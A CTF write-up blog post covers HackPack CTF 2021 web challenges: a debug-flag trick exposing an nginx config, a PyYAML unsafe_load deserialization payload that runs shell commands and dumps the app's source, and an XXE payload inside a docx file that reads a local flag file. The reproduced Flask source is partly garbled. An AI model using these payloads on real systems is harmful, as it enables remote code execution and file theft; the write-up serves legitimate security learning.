Web Writeups

Hello there we (fr334aks) took part in hackpack CTF 2021 and ended up solving all the available Web challenges, here are our writeups for them.

“N"ot “G"am"I"ng a"N"ymore in “X"mas

Challenge

Solution

  • tried a random name as password and used the network tab in dev options to inspect the requests found a post request with data as debug=0 changed that to debug=1
    as

and

which revealed the default nginx.conf file revealing a hidden directory /maybehereimportantstuff ,visiting it we are met with the flag

Flag : flag{ng1nx_m1sconf1g_c4n_b3_h4rmful}

Yaml-2-json

Challenge

Solution

full writeup for this challenge can be found here from Saudi, Yaml-2-Json

instead of repeating what he did i will just share the main.py file here 😂

having gained RCE on the CTF instance i further deciced to explore a bit further

using the exploit as

flag: !!python/object/apply:subprocess.check_output
       args: [ ls -lah ]
       kwds: { shell: true }

i was able to view all the files in the directory

total 36K 
drwxr-xr-x 1 root root 4.0K Apr 14 22:17 .
drwxr-xr-x 1 root root 4.0K Apr 14 22:25 ..
-rw-rw-r-- 1 root root   30 Apr 14 22:16 .env
drwxrwxr-x 6 root root 4.0K Apr 14 22:16 .venv
drwxrwxr-x 2 root root 4.0K Apr 14 22:16 __pycache__
-rw-rw-r-- 1 root root  778 Apr 14 22:16 main.py
-rw-r--r-- 1 root root  204 Dec  6 18:41 prestart.sh
-rw-rw-r-- 1 root root  131 Apr 14 22:16 requirements.txt
drwxrwxr-x 2 root root 4.0K Apr 14 22:16 templates

decided to retrieve the source code main.py

using

flag: !!python/object/apply:subprocess.check_output
       args: [ cat main.py ]
       kwds: { shell: true }

beautified code is below, enjoy your further analysis

from flask import Flask, render_template, make_response
from flask.globals import request
import yaml
import os
from dotenv import load_dotenv

app = Flask(__name__)
@app.route('', methods = ['GET'])

def index():
    premium = request.cookies.get('premium')
    resp = make_response(render_template("index.html", premium = premium == 'true'))

	if premium is None:
    resp.set_cookie('premium', 'false')

	return resp
@ papp.route('', methods = ['POST'])

def parse():
    load_dotenv()
premium = request.cookies.get('premium')
data = request.form['yaml']
if premium == 'true':
    json = yaml.unsafe_load(data)
else :
    json = yaml.load(data, yaml.BaseLoader)
return render_template("index.html", json = json, premium = premium == 'true')

All about resetting

Challenge

solution

Indead V1

Challenge

solution

Indead V2

Challenge

interface

Solution

  • This was a interesting challenge where we are to take advantage of a vulnerable docx parser to trigger XXE to file inclusion, armed with the flag location /var/www/flag.txt we can proceed to crack a malicious docx file that retrieves the flag for us when parsed.

started by creating a simple resume.docx file.

unzipped the file contents and changed the values of document.xml to include our payload as

our modifications to the document included <!DOCTYPE test [<!ENTITY test SYSTEM 'file:///var/www/flag.txt'>]>

and also changing our only info in the document to call our payload when parsed

<w:t xml:space="preserve">&test;</w:t></w:r>

and then later zipping the contents back before uploading

┌─[@parrot]─[~/Desktop/CTFs/hackpack]
└──╼ $zip resume.docx word/document.xml 
updating: word/document.xml (deflated 59%)

uploading the malicous document as our resume gets us the flag

Flag : flag{XML_is_ancestor_0f_every7hing_do_you_agree_?}

Further Reading and references

Thank you for your time. for any errors and corrections kindly reach me on twitter @k0imet_